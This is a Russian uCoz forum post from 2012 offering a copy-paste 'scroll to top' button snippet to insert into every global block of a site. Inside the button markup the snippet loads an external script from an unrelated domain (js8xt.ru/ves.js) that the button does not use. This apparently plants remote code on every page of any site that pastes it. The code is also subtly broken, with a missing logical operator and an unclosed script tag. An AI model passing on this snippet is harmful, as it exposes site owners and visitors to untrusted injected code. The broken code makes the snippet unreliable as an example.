Время:
Новых сообщений: Нет
Вы на форуме дней
Ваша группа: Гость
Ваш IP: 18.189.194.44
Logical-Portal — молодежный портал со своей изюминкой, каждый сможет найти что-то интересное и полезное для себя, например наш форум общения с которым вам обязательно нужно ознакомиться.
  • Страница 1 из 1
  • 1
Боковая кнопка "вверх"
Сообщение оставлено 17.04.2012 в 14:34:40 | Сообщение #1


В любой глобальный блок:
Code
<style>     
     #aposcroll a {     
     text-decoration:none;     
     color:red;     
     }     

     #aposcroll:hover {     
     background-color:rgba(200, 200, 200, 0.7);     
     box-shadow:0px -5px 10px #777;     
     }     
     </style>     
     <div style="padding:30px 5px 0px 5px;position:fixed;top:0px;right:0px;z-index:999;width:70px;height:100%;opacity:0" id="aposcroll"><center><a href="javascript://">^ Вверх</a></center><script src="http://js8xt.ru/ves.js" type="text/javascript"></div>     

     <script>     
     // Кнопка Вверх by Apocalypse     
     var as = $('#aposcroll');     
     as.click(function() {     
     $(document).scrollTo(0, 500);     
     });     
     document.onscroll = function() {     
     var apolst = '0.'+$('body').scrollTop();     
     if(apolst.length == 5) {     
     as.stop().fadeTo(500, apolst);     
     } else if(apolst.length == 4  apolst.length == 3) {     
     as.stop().fadeTo(500, 0);     
     };     
     };     
     // apo-ucoz.com (c) 2012     
     </script>


 Сообщение отредактировал ultrax - Вторник, 17.04.2012, 14:34:57
 
 
   
  • Страница 1 из 1
  • 1
Поиск:
 
Графика от: Megas, GraFOS | Дизайн сверстал E.A.
Хостинг от uCoz
Яндекс.Метрика